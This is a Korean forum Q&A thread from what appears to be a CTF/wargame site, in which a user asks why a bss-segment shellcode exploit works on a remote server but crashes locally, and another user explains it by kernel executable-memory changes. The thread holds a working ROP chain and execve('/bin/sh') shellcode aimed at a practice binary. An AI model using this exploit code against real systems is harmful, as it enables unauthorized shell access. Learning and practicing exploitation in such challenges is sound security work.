server에서는 성공했는데, local에서는 안 됩니다.

bss영역에 shellcode를 넣고 마지막에 bss주소로 띄게 하여 shellcode를 획득했습니다.
그런데 서버에 시도했을 때에는 바로 성공하는데, local에서는 계속 SIGSEGV가 납니다.

이것때문에 계속 안 되는줄 알고 삽질했는데, 혹이 이게 왜 그런것일지요?
[*] Process './validator_dist' stopped with exit code -11 (SIGSEGV) (pid 23803)

#pwnable
작성자 정보
답변 3
avatar
Dreamhack
대표 업적 없음

안녕하세요,
해당 로그는 프로그램이 segmentation fault를 일으켜 죽었을때 출력되는 로그입니다.
local에서 왜 안되는지는 사용하신 코드를 보여주셔야 알 수 있을 것 같습니다.

2022.05.02. 12:25
anous
대표 업적 없음

스택 검사하는 부분은 건너띄고, 아래 payload를 보냈습니다.

shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

bss = 0x000000000060104b

payload += p64(pop_rdi)
payload += p64(0)   # rdi
payload += p64(pop_rsi_r15)
payload += p64(bss) + p64(0)  # rsi, r15
payload += p64(pop_rdx)
payload += p64(len(shellcode))
payload += p64(read_plt)

payload += p64(bss)

p.send(payload)
pause()
p.send(shellcode)
p.interactive()

2022.05.02. 14:01
baver
CTF First Place

-execstack 옵션으로 컴파일하면 스택에 실행권한을 줄 수 있는데요.
이 경우, Linux Kernel의 버전에 따라서 실행권한이 생기는 세그먼트의 영역 차이가 생깁니다.

  • Kernel Version < 5.4: stack, data, bss 모두 실행권한 부여
  • Kernel Version >= 5.4: stack만 실행권한 부여

따라서, local linux의 경우 최신버전의 커널을 사용하고 있을 것으로 보입니다.

2022.12.27. 12:16
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기